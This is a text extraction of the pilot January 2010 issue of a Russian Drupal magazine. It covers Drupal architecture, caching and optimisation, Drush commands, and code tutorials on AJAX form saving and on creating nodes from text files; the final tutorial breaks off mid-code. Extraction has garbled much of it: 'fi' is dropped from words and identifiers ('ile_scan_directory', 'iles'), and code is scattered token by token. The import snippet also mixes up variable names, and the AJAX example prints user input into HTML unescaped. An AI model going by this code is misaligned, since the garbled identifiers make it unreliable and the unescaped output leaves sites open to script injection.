close

Вход

Забыли?

вход по аккаунту

?

Drupalogy Magazine 00

код для вставкиСкачать
Друпалогия
Журнал о Drupal и про Drupal
#00 • Январь, 2010
http://magazine.drupalogy.ru
январь, 2010
3
Друпалогия #00
Доброго времени суток, дорогие читатели!
Перед вами пилотный выпуск журнала «Друпалогия», в котором вы найдёте статьи, посвящённые CMS/CMF Drupal.
Мы постарались сделать так, что статьи, опуб-
ликованные в журнале, будут интересны как нови-
чкам, так и профессионалам. В этот номер вошли статьи специально написанные для журнала, надеюсь, так и будет в дальнейшем. Думаю, вы оцените этот труд. Если вы хотите стать автором и публиковать свои статьи, уроки или обзоры, присоединяйтесь, мы будем рады! Статьи могут быть как тематическими и посвящённые исключительно Друпалу, так и его не касающиеся, но связанными с WEB, интернет-
технологиями, серверами и ОС. Интересным статьям всегда найдётся место на страницах «Друпалогии»!
Хочу выразить благодарность все тем людям, кто откликнулся на предложение поучаствовать в создании журнала, авторам статей и обзоров; всем тем, кто помогал советами и консультациями. Большое человеческое спасибо!
С уважением, Stan Ezersky
В этом номере:
Про Drupal
Разработка сайта на Drupal: архитектура Drupal
..................4
Разработка сайта на Drupal: оптимизация Drupal
................6
Drush: простое средство управления сайтом из ко
мандной строки
........................................................................9
Обучение
Сохранение формы в Drupal с помощью AJAX..................11
Автоматическое создание нод из текстовых файлов......15
Автозаполнение текстовых полей в Drupal Forms API.....18
Smarty theme (themplate) engine: альтернатива phptemplate для создания тем...............................................22
Советы и хитрости...................................................................24
Ликбез или повышение грамотности новичков.................27
Локализация
Локализация и перевод в Drupal...........................................30
Обзоры модулей
Веб-картография в Drupal.......................................................34
Хостинг для
Drupal
Интервью с Егором Марценюком, представителем компании IT-Patrol....................................................................39
Не
Drupal
jQuery 1.4: 15 новых возможностей......................................41
Статистика использования браузеров................................46
январь, 2010
4
Друпалогия #00
Разработка сайта на Drupal: архитектура Drupal
Drupal
построен по модульному принципу: компактный набор служебных функций (ядро), отвечающих за работу с СУБД, авторизацию, кэширование и пр. дополняется модулями, реализующими основную функциональность. Они обеспечивают обработку системных событий (авторизация пользователя, за
-
пись данных в БД, просмотр документа, поиск и т. д.), взаимодействие между модулями выполняется при помощи хуков (hooks) — определенным образом именованных функций. Роман Архаров aka Romka
Drupal
построен по модульному принципу: ком
-
пактный набор служебных функций (ядро), отвеча
-
ющих за работу с СУБД, авторизацию, кэширова
-
ние и пр. дополняется модулями, реализующими основную функциональность. Они обеспечивают обработку системных событий (авторизация поль
-
зователя, запись данных в БД, просмотр докумен
-
та, поиск и т. д.), взаимодействие между модулями выполняется при помощи хуков (hooks) — опреде
-
ленным образом именованных функций. Описав хук в модуле, можно перехватить любое событие (например, сохранение записи) и запро
-
граммировать свою логику его обработки. Благо
-
даря такой системе программист может расширить возможности любого существующего модуля, не вмешиваясь в его исходный текст, а также создать свои собственные типы событий.
В ядре Drupal реализован набор функций (API) для работы со всеми необходимыми компонентами: СУБД, формами, кэшем, пользователями и их пра
-
вами. Для взаимодействия с СУБД используется абстрактный интерфейс DB API, ядро Drupal опе
-
рирует ANSI-совместимым SQL для работы с БД, а структуры (таблицы) для БД определяются про
-
граммистом в массивах специального вида. При этом преобразование определений таблиц и за
-
просов под особенности конкретной СУБД (офи
-
циально система Drupal совместима с MySQL и PostgreSQL) выполняется специальной библиоте
-
кой, и разработчику не приходится заботиться об особенностях работы СУБД. Определив собствен
-
ную библиотеку функций, можно подключить дру
-
гие СУБД, — например, существуют библиотеки для IBM DB2, Oracle и MSSQL.
Не менее важная часть Drupal — интерфейс обра
-
ботки экранных форм (
Forms API
). С точки зрения разработчика, форма Drupal — это определенным образом подготовленный массив данных, содержа
-
щий информацию об элементах формы и их пара
-
метрах. На основе этого массива системные функ
-
ции генерируют HTML-код. Такой подход позволя
-
ет модулям модифицировать одну и ту же фор
-
му, а также с помощью функций темизации менять оформление отдельных элементов. Разработчи
-
ки модулей могут добавлять дополнительные поля (например, защиту от автоматических публикаций — CAPTCHA
) или заменять существующие (заме
-
нить текстовое поле WYSIWYG
-редактором).
По умолчанию Drupal предоставляет пользоватлю базовый тип материала с минимумом стандартных полей и атрибутов: заголовок, текст, автор и ряд служебных полей. Программный интерфейс Node API позволяет дополнять базовый тип новыми по
-
лями: ссылками, картинками, файлами, списками и др.
Для управления правами доступа к материалам и службам сайта в Drupal реализованы два механиз
-
ма. Первый обеспечивает проверку доступа к от
-
дельным сервисам сайта — каждый модуль через специальный хук объявляет свои разрешения на Про Drupal
январь, 2010
5
Друпалогия #00
использование тех или иных своих функций, затем администратор сайта может разрешить или запре
-
тить различным группам пользователей доступ к тому или иному функционалу. Второй механизм — права доступа к отдельным документам на созда
-
ние, просмотр, изменение и удаление. Модули ре
-
ализуют собственные интерфейсы проверки прав, основываясь на данном механизме. Например, есть модули, разграничивающие доступ пользова
-
тельских ролей к отдельным рубрикам сайта либо задающие права доступа непосредственно для от
-
дельных пользователей, отдельных документов и даже отдельных полей документа.
Еще один важный элемент архитектуры Drupal — система темизации, позволяющая, во-первых, от
-
делить логику работы программных модулей от представления данных; во-вторых, гибко настро
-
ить внешний вид каждого выводимого на экран элемента. Чтобы изменить внешний вид сайта, не
-
обходимо или скачать готовую, или разработать собственную тему оформления — набор особым образом сформированных HTML-шаблонов, в ко
-
торые интегрированы PHP-переменные с данны
-
ми.
Важно отметить, что подсистема темизации Drupal не принуждает разработчика применять один тип шаблонов. Drupal позволяет задействовать раз
-
личные «движки» шаблонов, на базе которых стро
-
ятся темы оформления. Стандартом де-факто для тем оформления в Drupal стал механизм PHPtemplate, но можно также использовать Smarty
, PHPTAL
, Easy Template System
и др.
Темы оформления позволяют создать каркас сай
-
та, который будет наполнен данными, генериру
-
емыми модулями. При разработке модулей про
-
граммисты, придерживающиеся принятых в Drupal стандартов кодирования, выносят весь код, свя
-
занный с выводом данных на экран, в отдельные, именованные специальным образом функции. Та
-
кие функции — функции темизации
, обычно не ре
-
ализуют никакой логики, а лишь принимают набор данных и возвращают HTML-код. Эти функции мо
-
гут быть переопределены в теме оформления: та
-
ким образом, не изменяя код исходного модуля, разработчик может настроить внешний вид для за
-
дач конкретного сайта.
Про Drupal
январь, 2010
6
Друпалогия #00
Разработка сайта на Drupal: оптимизация Drupal
Александр Графов aka Axel
По умолчанию Drupal
ориентирован на хранение максимума информации в базе данных. Контент, служебные переменные и настройки сайта, кэши данных — все это складывается в БД. Не всег
-
да такая схема может быть эффективна, и Drupal предлагает ряд альтернатив.
Методы оптимизации «из коробки»
Сначала рассмотрим, что предлагает Drupal в стандартной поставке. Настройки производи
-
тельности задаются в меню Administer — Settings — Performance (
admin/settings/performance
). Пер
-
вый раздел настроек — страничный кэш, в Drupal эта разновидность кэширования отвечает за по
-
каз страниц анонимным посетителям сайта. При включении нормального режима кэширования пол
-
ностью сгенерированная страница сохраняется в кэше (по умолчанию это таблица БД) и отдается анонимным посетителям, пока в кэш не будут по
-
мещены новые данные. Число запросов к СУБД при этом уменьшается до нескольких штук на стра
-
ницу.
Агрессивный режим работы кэша страниц обеспе
-
чивает более высокую производительность, чем нормальный, но он несовместим с некоторыми мо
-
дулями, которые сообщают об этом на страни
-
це администрирования. Дополнительно при агрес
-
сивном режиме кэширования можно указать ми
-
нимальное время, которое кэшированные дан
-
ные будут отображаться посетителям, т. е. ника
-
кие обновления сайта не будут видны анонимным посетителям, пока не пройдет минимальное вре
-
Способы оптимизации сильно зависят от конкретной задачи и системного окружения. Свою роль в вы
-
боре способов оптимизации играют набор используемых на сайте модулей и соотношение трафика от анонимных и зарегистрированных посетителей. Обычно окончательное заключение об эффективности того или иного метода можно дать только после его тестирования на реальном сайте.
мя. Следует помнить, что кэш страниц не действу
-
ет для вошедших под своим логином пользовате
-
лей — они будут всегда видеть актуальную инфор
-
мацию. Если же на сайте большую часть составля
-
ют зарегистрированные посетители, то кэш стра
-
ниц даже в агрессивном режиме не даст значимого эффекта. Тем не менее практически всегда стоит включать нормальный режим кэширования.
Отметим, что полностью выключить кэширование в Drupal нельзя. Функция в настройках производи
-
тельности отвечает только за страничный кэш, но Drupal также кэширует меню, фильтры ввода, бло
-
ки; дополнительные модули могут создавать свои кэши — все эти данные сохраняются в отдельных таблицах БД. Внизу страницы настроек есть кноп
-
ка очистки кэша, которая очищает только кэш стра
-
ниц.
Последний режим в этом разделе — компрессия страниц. Современные браузеры позволяют полу
-
чать компрессированные данные, снижая объем данных, передаваемых по сети, в среднем в 6–8 раз — разумеется, если сервер умеет отдавать данные в таком сжатом виде. При активации это
-
го режима сжатие выполняется на уровне Drupal, т. е. средствами PHP. В то же время, лучше поручить эту операцию Web-серверу, поскольку он справит
-
ся с ней эффективнее. Эта операция в Drupal сде
-
лана на случай, когда нет возможности включить компрессию страниц на Web-сервере.
Про Drupal
январь, 2010
7
Друпалогия #00
Практически из той же серии другой раздел на
-
строек оптимизации — оптимизация трафика. Здесь можно включить слияние CSS и Javascript, отдаваемых сайтом. Различные модули сайта мо
-
гут добавлять свои стили и скрипты на страницы, в результате запрос страницы браузером влечет за собой десятки мелких файлов со стилями. Эффек
-
тивнее объединять все файлы в один и отдавать его один раз, что и делает Drupal при включении опций на этой закладке. Держать настройки слия
-
ния выключенными имеет смысл только во время разработки сайта, когда стили и скрипты часто ме
-
няются и дополняются новыми.
Как правило, основное содержимое сайта сопрово
-
ждается множеством сопутствующих данных, кото
-
рые в Drupal принято выводить блоками. Блоки ре
-
ализуются разными модулями и могут содержать весьма сложные алгоритмы по выборке данных. Имеет смысл кэшировать данные блоков, и Drupal умеет это делать. Причем, в отличие от кэша стра
-
ниц, кэш блоков действует на всех пользователей сайта, а не только на анонимов. Блоки могут кэши
-
роваться персонально для каждого пользователя, для каждой роли пользователей на сайте, для каж
-
дой страницы или глобально для всего сайта. Эти настройки указываются при программировании мо
-
дулей, в настройках Drupal предлагается только включить или отключить кэш для всех блоков це
-
ликом.
Дополнительные модули для оптимизации
Drupal позволяет подменять стандартный меха
-
низм кэширования альтернативными реализа
-
циями, что и используется несколькими модуля
-
ми, предоставляющими свои методы кэширования данных. Обычно суть всех этих модулей сводится к подмене механизма хранения кэша — вместо БД используются хранение в файлах или в оператив
-
ной памяти.
Наиболее комплексное решение предоставля
-
ет модуль cacherouter
. Он реализует механизмы кэширования в файлы, в память через «демон»
memcached либо использование памяти акселера
-
торов APC и XCache. Как уже отмечалось, Drupal использует в БД разные таблицы под кэши различ
-
ного назначения. Удобство модуля cacherouter в том, что можно указать для каждого вида кэша, где он должен храниться, например комбинировать кэширование страниц в файлах с кэшированием блоков в memcached.
Способы снижения нагрузки на хостинг
Один из ресурсоёмких компонентов Drupal — ме
-
ханизм поиска и индексации контента. Для уско
-
рения поиска по содержимому сайта Drupal стро
-
ит поисковый индекс, эта операция производит
-
ся в фоне, при срабатывании планировщика зада
-
ний, но отбирает свою долю ресурсов. Реализация поиска в Drupal неплоха и приемлема для боль
-
шинства небольших сайтов, но при большом объе
-
ме контента и высокой посещаемости реализация поиска на PHP может не справляться с нагрузкой. Эффективнее использовать сторонние поисковые системы. Простейший выход здесь — интеграция с поиском Google. Но по многим причинам это не всегда удачный выход. Однако есть великолепные OpenSource-решения для поиска, которые удоб
-
но использовать при условии их интеграции с сай
-
том. Для Drupal разных версий предлагались мо
-
дули интеграции с несколькими поисковыми движ
-
ками, в частности для Drupal 6 есть модуль инте
-
грации с поисковым движком Sphinx
, выпускаемым под лицензией GPL. Sphinx реализован на языке Cи и предлагает быстрое и масштабируемое ре
-
шение для поиска по большим объемам данных. В примерах на сайте разработчиков упоминают
-
ся хранилища данных емкостью более терабайта и сайты с потоком поисковых запросов в несколь
-
ко миллионов в день. Даже если объемы данных и число ожидаемых поисковых запросов меньше, использование внешнего поискового движка позво
-
лит разгрузить Drupal. Модуль sphinxsearch (
http://
drupal.org/project/sphinxsearch
) заменяет стандарт
-
ный модуль search на интерфейс к поисковому движку Sphinx. Он сложнее в конфигурировании (благодаря обширным настройкам, предлагаемым в Sphinx), но позволяет реализовать методы поис
-
ка, которые имеются в Drupal: по документам, ком
-
Про Drupal
январь, 2010
8
Друпалогия #00
ментариям, пользователям и таксономии. Модуль в настоящее время находится в разработке, но версия для Drupal 6 уже доступна для загрузки.
Стоит помнить, что оптимизация работы Drupal — только один из этапов в оптимиза
-
ции сайта. Настройки Web-сервера и СУБД, акселерация PHP, настройки ОС и «железа» — все это влияет на работу сайта, поэтому оптимизация работы системы должна про
-
водиться на всех уровнях.
Про Drupal
январь, 2010
9
Друпалогия #00
Drush: простое средство управления сайтом из командной строки
Павел Шаров aka Master Of Tragedy
Бывают ситуации, когда по каким-то причинам нет возможности зайти на сайт Друпал для проведения нужных действий. Или же просто не хочется тратить трафик, если вы используйте мобильное соединение с интернетом. Решение этой проблемы очень простое и носит оно название drush
aka «Drupal Shell».
До написания этой статьи я слышал довольно мно
-
го об этой утилите, но практических обзоров так и не нашел. Итак, почему же стоит использовать Drush:
•
Удобная утилита позволяет практически пол-
ностью управлять сайтом •
Не потребляет трафика •
Экономия времени
Рассмотрим некоторые возможности данного ин
-
струмента.
В интерактивном режиме можно посмотреть статус системы и ее версию. Для этого я ис-пользовал ко
-
манду # ./drush st Посмотрим, что у нас получилось:
master@master-laptop:~/public_html/indepimport/
drush$ ./drush st
PHP coniguration : /opt/lampp/etc/php.ini
Drupal Root : /home/master/public_html/
indepimport
Drupal version
: 6.15 Site Path : sites/default
Site URI : http:
//default
Database Driver : mysqli
Database Hostname : localhost
Database Username : root
Database Name : indepimport
Database Password : Database : Connected Drupal Bootstrap : Successful
Drupal User : Anonymous
Как видно, утилита прочла данные не только о версии друпал, но и расположение конфигураци
-
онного файла PHP, корневого каталога Drupal, на
-
звание хоста, на котором расположена наша уста
-
новка Друпал, а также тип драйвера базы данных и имя пользователя. То есть одной командой мы можем получить ис
-
черпывающую информацию о параметрах наше
-
го сайта. Управление модулями
Установка, включение, отключение и деинста
-
ляция дополнительных модулей Drupal.
Для установки дополнительных модулей мы вос
-
пользуемся командой ./drush en master@master-laptop:~/public_html/indepimport/
drush$ ./drush en forum
The following modules will be enabled: forum
Do you really want to continue? (y/n): y
Forum was enabled successfully.
Аналогичное действие служит для отключения модуля:
master@master-laptop:~/public_html/indepimport/
drush$ ./drush dis forum
The following modules will be disabled: forum
Do you really want to continue? (y/n): y
Forum was disabled successfully.
Про Drupal
январь, 2010
10
Друпалогия #00
Кроме того, программа позволяет нам установить дополнительные модули, что называется, "не отхо
-
дя от кассы".
Для этого служит команда # .
/drush dl
Посмотрим пример:
master@master-laptop:~/public_html/indepimport/
drush$ ./drush dl
cck
Project cck (6.x-2.6) downloaded to [success]
/home/master/public_html/corp/sites/all/
modules/.
Как видим, программа успешно загрузила нужный нам модуль с drupal.org
. Осталось лишь его вклю
-
чить, используя команду выше. Обновление модулей
Как правило, процедура обновления модулей в Drupal является довольно утомительной. Сначала нужно посмотреть какие модули доступны для об
-
новления, затем зайти на drupal.org
, чтобы загру
-
зить последнюю версию, затем распаковать в нуж
-
ный нам каталог, запустить скрипт update.php... Итого, получаем массу лишних действий, которые можно заменить буквально одной командой. В ути
-
лите Drush реализован собственный сценарий об
-
новления модулей, который автоматически прове
-
ряет наличие новой версии модуля или темы, за
-
гружает новый код и выполняет все необходимые процедуры обновления модуля, включающие в себя изменения в базе данных, если таковые име
-
ются.
Для просмотра доступных обновлений воспользу
-
емся командой upc
или up
Сценарий составит список установленных моду
-
лей и сравнит версию с имеющимися на сервере drupal.org. Внимание! Для выполнения процедуры обновления необходимо включить модуль update. После выполнения команды мы видим таблицу, в которой отображаются названия модулей, установ
-
ленная версия и текущая версия модуля на drupal.
org
Если для одного или нескольких модулей имеют
-
ся обновления, утилита дает нам об этом знать и предлагает выполнить обновления, заранее пред
-
упреждая о последствиях, которых обычно быть не должно. Тем не менее, сценарий создает резерв
-
ную копию имеющегося модуля, чтобы в случае возникновения проблем можно было вернуться к установленной ранее версии. Далее соглашаемся с продолжением процедры, ждем несколько секунд и новая версия модуля ус-
пешно установлена. Несмотря на две имеющиеся команды обновления, я рекомендую использовать команду up, поскольку она в отличие от upc вы
-
полняет также соответствующие изменения в базе данных, если таковые необходимы.
К сожалению, обновлять ядро этим инструментом на настоящий момент нельзя. Будем надеяться, что разработчики включат эту возможность в сле
-
дующих версиях утилиты.
Более подробную информацию о командах вы мо
-
жете посмотреть набрав ./drush help
в строке тер
-
минала. Приятного использования!
Обучение
январь, 2010
11
Друпалогия #00
Сохранение формы в Drupal с помощью AJAX
Роман Грачёв aka Graker
Сегодня речь пойдет о том, как запрограммировать сохранение формы в Друпале через AJAX
. В прин
-
ципе, для этих целей уже существует модуль Ajax. Но вдруг у нас крайне хитрые потребности, или мы просто не хотим ради сабмита пары форм тащить за собой целый модуль?
В общем, задача такова: создать средствами Дру
-
пала простую форму, вывести ее на страницу, а за
-
тем — сохранять через AJAX-запросы, выводя на ту же страницу результаты сохранения и ошибки валидации формы, если таковые были. Без обнов
-
ления страницы, естественно. Для решения зада
-
чи будем использовать Forms API
Друпала и jQuery
с плагином Form
. Оформим все в виде отдельно
-
го модуля.
Рассмотрим решение по порядку. Начнем с созда
-
ния страницы с формой:
function
jf_test_menu
()
{
$items
= array
()
;
//страница для теста формы
$items
[
'jf_test'
]
= array
(
'title'
=
>
'Тест jQuery Form'
,
'page callback'
=
>
'_generate_page'
,
'access arguments'
=
>
array
(
TRUE
)
,
'type'
=
>
MENU_NORMAL_ITEM
,
)
;
return
$items
;
}
//function jf_test_menu
function
_generate_page
()
{
$output
= ""
;
//выведем текст
$output
.= '<div class="test_messages">'
;
$output
.= '<strong>Messages:</strong>'
;
$messages
= variable_get
(
'jft_
messages'
,
array
())
;
foreach
(
$messages
as
$index
=
>
$message
)
{
$output
.= '<p>'
.
$message
.
'</p>'
;
}
$output
.= '</div>'
;
//выведем форму
$output
.= drupal_get_form
(
'_jft_form'
)
;
return
$output
;
}
//function generate_page
function
_jft_form
(&
$form_state
)
{
$form
= array
()
;
$form
[
'message'
]
= array
(
'#type'
=
>
'textarea'
,
'#title'
=
>
'Enter message'
,
'#required'
=
>
TRUE
,
)
;
$form
[
'submit'
]
= array
(
'#type'
=
>
'submit'
,
'#value'
=
>
'Send'
,
)
;
return
$form
;
}
//function _jft_form
function
_jft_form_submit
(
$form
,
&
$form_state
)
{
//добавляем сообщение в массив
$messages
= variable_get
(
'jft_
messages'
,
array
())
;
$messages
[]
= $form_state
[
'values'
]
[
'message'
]
;
variable_set
(
'jft_messages'
,
$messages
)
;
}
//function _jft_form_submit
Теперь если пользователь зайдет по адресу /
jf_test, напишет что-нибудь в форме и нажмет «Send», набранный текст будет накапливаться в блоке под надписью «Messages». Пока отправка текста происходит обычным сохранением формы с перезагрузкой страницы. Сделаем, чтобы сообще
-
ния отправлялись с помощью AJAX. Обучение
январь, 2010
12
Друпалогия #00
Прежде всего, нужно добавить скрипт с плагином jQuery Form. Сама библиотека jQuery включена в Друпал и добавится автоматически. Плагин Form тоже включен в состав Друпала, но версия очень старая, а мы скачаем новую
и подключим ее при генерации страницы. Заодно сразу добавим js-файл со скриптом, ко
-
торым будем сохранять форму:
function
_generate_page
()
{
$output
= ""
;
//добавим скрипт для сабмита формы и плагин jQuery Form drupal_add_js
(
drupal_get_path
(
'module'
,
'jf_
test'
)
.
'/jquery.form.js'
)
;
drupal_add_js
(
drupal_get_path
(
'module'
,
'jf_
test'
)
.
'/jf_test.js'
)
;
//...
Теперь напишем сам скрипт jf_test.js:
Drupal.
behaviors
.
jf_testBehavior
=
function
(
context
)
{
$
(
"#-jft-form"
)
.
ajaxForm
(
successCallback
)
;
//устанавливаем обработчик сабмита формы
$
(
"#-jft-form"
)
.
submit
(
function
()
{
//возвращаем false чтобы предотвратить обыч
-
ный сабмит
return
false
;
})
;
}
//callback вызывается после успешного сабмита формы
function
successCallback
(
responseText
,
statusTe
xt
)
{
$
(
"div.test_messages"
)
.
append
(
responseText
)
;
}
Drupal.behaviors заменяет $
(
document
)
.
ready
()
для нашего модуля. Подробнее об этом мож
-
но почитать в описании Javascript, AJAX, AHAH API
.
А пока посмотрим на новоиспеченный скрипт. Вы
-
зов функции ajaxForm() подготавливает нашу фор
-
му к сохранению через AJAX. Аргументом функ
-
ции является название callback-а, который бу
-
дет вызван в случае успешного сохранения фор
-
мы (successCallback). Функция ajaxForm() сама вытащит из формы адрес скрипта для сохране
-
ния, установленный Друпалом, так что мы можем об этом не заботиться, и сама же настроит все остальное для сохранения через AJAX при нажа
-
тии на кнопку. Затем мы устанавливаем для события submit, то есть сохранения формы, свой обработчик. В нем возвращается false — для того чтобы избежать обычного сохранения с обновлением страницы. Ну а в функции successCallback мы добавляем в блок «Messages» тот текст, который получили от серве
-
ра.
Однако, если мы попытаемся выполнить все, что написали, то увидим, что в блок «Messages» доба
-
вилось не последнее введенное сообщение, а це
-
лая страница, сгенерированная Друпалом заново. Поэтому теперь нам нужно позаботиться об адек
-
ватных ответах на AJAX-запросы при сохранении формы. То есть, нужно возвращать не всю стра
-
ницу, а только последнее введенное сообщение. Кроме того, мы бы хотели получать сообщения об ошибках валидации формы, которые возникнут, например, если мы оставим поле ввода сообще
-
ния пустым. Для этого напишем валидатор нашей формы, а также немного изменим функцию сохранения:
function
_jft_form_validate
(
$form
,
&
$form_state
)
{
//мы хотим показать все ошибки Друпала, //которые могли возникнуть при валидации формы
$output
= ""
;
$output
.= theme
(
'status_messages'
,
'error'
)
;
if
(
$output
!
= ""
)
{
Обучение
январь, 2010
13
Друпалогия #00
print
$output
;
exit
()
;
}
}
//function _jft_form_validate
function
_jft_form_submit
(
$form
,
&
$form_state
)
{
//...
//выведем последнее сообщение
print
'<p>'
.
$form_state
[
'values'
][
'message'
]
.
'</p>'
;
exit
()
;
}
//function _jft_form_submit
Теперь мы получаем от сервера либо последнее сообщение пользователя, либо ошибку валидации. Окончательный jf_test.js выглядит так:
Drupal.
behaviors
.
jf_testBehavior
=
function
(
context
)
{
//отмечаем, что наша форма будет сохраняться по AJAX
//и указываем callback, вызываемый после успешного сабмита
$
(
"#-jft-form"
)
.
ajaxForm
(
successCallback
)
;
//устанавливаем обработчик сабмита формы
$
(
"#-jft-form"
)
.
submit
(
function
()
{
//убираем старые ошибки
$
(
"div.messages"
)
.
remove
()
;
//возвращаем false чтобы предотвратить обыч
-
ный сабмит
return
false
;
})
;
}
//callback вызывается после успешного сабмита формы
function
successCallback
(
responseText
,
statusTe
xt
)
{
if
(
$
(
responseText
)
.
hasClass
(
"error"
))
{
//есть ошибки при валидации, показываем их в начале формы
$
(
"#-jft-form"
)
.
prepend
(
responseText
)
;
}
else
{
//выводим сообщение
$
(
"div.test_messages"
)
.
append
(
responseText
)
;
//сбрасываем форму
$
(
"#-jft-form"
)
.
resetForm
()
;
}
}
На всякий случай уточняю: функции ajaxForm и resetForm — это функции из API плагина jQuery Form, без него ничего работать не будет. Наконец, позаботимся о злоумышленниках, ковар-
но отключивших в своих браузерах JavaScript. Ведь если оставить все как есть, после сохране
-
ния формы они будут видеть только текст послед
-
него сообщения и больше ничего. Чтобы все рабо
-
тало нормально и без JavaScript-а, будем прове
-
рять способ сохранения формы в функциях вали
-
датора и сохранения. Окончательный текст этих функций:
function
_jft_form_validate
(
$form
,
&
$form_state
)
{
//проверка, используется ли AJAX для сабмита
if
(
$_SERVER
[
'HTTP_X_REQUESTED_WITH'
]
== 'XMLHttpRequest'
)
{
//мы хотим показать все ошибки Друпала, //которые могли возникнуть при валидации формы
$output
= ""
;
$output
.= theme
(
'status_messages'
,
'error'
)
;
if
(
$output
!
= ""
)
{
print
$output
;
exit
()
;
}
}
}
//function _jft_form_validate
function
_jft_form_submit
(
$form
,
&
$form_state
)
{
//добавляем сообщение в массив
$messages
= variable_get
(
'jft_
messages'
,
array
())
;
$messages
[]
= $form_state
[
'values'
]
[
'message'
]
;
Обучение
январь, 2010
14
Друпалогия #00
variable_set
(
'jft_messages'
,
$messages
)
;
//выводим последнее сообщение только если для сабмита используется AJAX
if
(
$_SERVER
[
'HTTP_X_REQUESTED_WITH'
]
== 'XMLHttpRequest'
)
{
//выведем последнее сообщение
print
'<p>'
.
$form_state
[
'values'
]
[
'message'
]
.
'</p>'
;
exit
()
;
}
}
//function _jft_form_submit
Теперь с выключенным JavaScript-ом все будет ра
-
ботать так, как будто его и не было никогда. Зада
-
ча решена. Рабочие исходники модуля можно раз
-
добыть по адресу: http://graker.ru/sites/default/iles/
jf_test.tar.gz
.
Обучение
январь, 2010
15
Друпалогия #00
Автоматическое создание нод из текстовых файлов
Мария Таран aka gagaga
В некоторых случаях, ручное создание нод может стать весьма трудоемкой работой. Основной причиной является количество таких нод, которое иногда зашкаливает за десятки тысяч, а ручное создание занимает неоправданно много времени. В такой ситуации и необходим модуль для автоматического создания нод.
В общем виде процесс создания ноды представ
-
ляет собой импорт каких-либо данных в объект $node. Соответственно, все данные должны уже существовать в каком-то объективном виде. На
-
пример, в файлах .xml, .txt, .csv или на сторонних интернет-сайтах. В данной статье будет создана функция, которая сможет создавать ноду из простых текстовых фай
-
лов. Импорт из других типов файлов будет осве
-
щен в последующих статьях. Чтобы выполнить поставленную задачу необходи
-
мо выполнить несколько подготовительных дей
-
ствий. Во-первых, создать базовые файлы для мо
-
дуля. Во-вторых, создать все необходимые, на Ваш взгляд, функции. Например, можете сделать страницу с настройками в административном раз
-
деле или определить свой тип контента. В-третьих, определитесь, как именно должен происходить за
-
пуск функции: использовать cron или запускать вручную, т.е. нажатием на кнопку. Подразумева
-
ется, что читатели данной статьи уже знакомы с основами создания модулей, поэтому я ограничусь описанием одной функции, которая будет выпол
-
нять только импорт данных и создание ноды. От чего же мы будем отталкиваться в начале? Во-
первых, документов может быть достаточно боль
-
шое количество. Чтобы их полноценно обработать, нужно знать их структуру, т.е. какие данные содер
-
жит каждая из строк. Предположим, что каждый файл будет выглядеть так:
• 1 строка – Заголовок; • 2 строка – Теги через запятую; • 3 строка - Специфические данные для текстово
-
го CCK-поля; • 4 строка и далее - Основное содержимое доку
-
мента, т.е. тело документа. Во-вторых, определим какие поля и дополнитель
-
ные возможности нам понадобятся. В нашем слу
-
чае это:
1. Добавление тегов в таксономию. 2. Добавление данных в текстовое CCK-поле. 3. Прикрепление файла к ноде. 4. Публикация ноды через какое-то время после создания. Модули, которые должны быть включены: Taxonomy, CCK, Upload, Scheduler.
Примерный план работы такой функции не зави
-
сит от типов файлов или других предпосылок и вы
-
глядит так:
1. Открытие файла или страницы. 2. Извлечение и обработка данных. 3. Создание и заполнение объекта $node 4. Проверка, подготовка и сохранение $node. Итак, приступим к созданию модуля. Создаем пап
-
ку, в которую будем копировать базовые текстовые файлы. Следующий код ищет и открывает файлы, которые лежат в заданной папке. К друпалу код от
-
носится мало:
$path_default
=
ile_directory_path
()
.
'/
autoupload'
;
//Путь к папке, где будут лежать исходные файлы
$iles
=
ile_scan_directory
(
$path_admin
,
'.*'
)
;
//Сканирует папку на наличие файлов любых расширений
Обучение
январь, 2010
16
Друпалогия #00
Лучше всего точно определять расширение файлов, чтобы в будущем избежать возможных ошибок.
foreach
(
$iles
as
$ile
)
{
$f
=
ile
(
$ile
->
ilename
)
;
//пробует открыть файл и создать массив
if
(
!
$f
)
{
drupal_set_message
(
'<strong>Не получается открыть и прочитать файл. Попробуйте повторить попытку позднее.</strong><br />'
)
;
exit
;
}
Теперь, если файл удачно открылся и прочитался, получаем массив вида $f[key]= value, где key равен номеру строки, а value её значению. Так как тело документа может содержать более одной строки, выполняем следующий код:
$i
=
2
;
// номер строки, которая начинает основной контент
$body
=
''
;
while
(
$i
<=
count
(
$f
))
{
$body
.=
ltrim
(
drupal_convert_to_utf8
(
$f
[
$i
]
,
'cp1251'
))
;
// Если кодировка текстового файла отличается от utf-8, необходимо выполнить конвертацию
$i
++;
}
Теперь займемся прикреплением файла к ноде. Если Вам зачем-то понадобится перенеси фай
-
лы в другую папку, то воспользуйтесь следующей функцией. В данный момент она копирует текущий файл в директорию 'sites/default/iles/'. Если такой файл уже существует, то он заменяется новым.
ile_copy
(
$ile
->
ilename
,
ile_directory_
path
()
,
FILE_EXISTS_REPLACE
)
//переносим файл из созданной нами папки в /iles
Прикрепление файла отчасти похоже на создание самой ноды. Точно также мы создаем объект, кото
-
рый должны заполнить некоторыми данными.
$ile_upload
=
new
stdClass
()
;
$ile_upload
->
ilepath
=
$ile
->
ilename
;
// полный путь к файлу
$ile_upload
->
ilename
=
$ile
->
basename
;
// Имя файла с расширением
$ile_upload
->
ilesize
=
ilesize
(
$ile
->
ilename
)
;
// размер файла
$ile_upload
->
timestamp
=
time
()
;
// время создания
$ile_upload
->
ilemime
=
ile_get_mimetype
(
$ile
-
>
ilename
)
;
$ile_upload
->
uid
=
1
;
// id юзера от имени которого прикрепляется файл
$ile_upload
->
status
=
1
;
// активный
// записываем файл в бд drupal_write_record
(
'iles'
,
$ile_upload
)
;
Получаем id для текущего файла, далее мы долж
-
ны будем вставить его в ноду.
$ile_upload
->
id
=
db_last_insert_
id
(
'iles'
,
'id'
)
;
// получаем id для прикрепления к ноде
Аналогично этому коду сработает и такая кон
-
струкция, так что выбор остается за вами:
$ile_upload
->
id
=
db_result
(
db_query
(
"SELECT id FROM {iles} WHERE ilepath = '
%s
'"
,
$ile_upload
-
>
ilepath
))
;
//создаем объект для ноды
$node
=
new
stdClass
()
;
$node
->
title
=
drupal_convert_to_utf8
(
$f
[
0
]
,
'cp1251'
)
;
//Заголовок ноды
$node
->
body
=
$body
;
// Тело ноды
$node
->
type
=
'test'
;
// Тип материала, к которому будет относится нода
$node
->
name
=
'leyt'
;
// Логин пользователя от имени которого будет создана нода
$node
->
uid
=
1
;
// Uid пользователя
$node
->
status
=
0
;
//По умолчанию нода не опубликована
$node
->
taxonomy
[
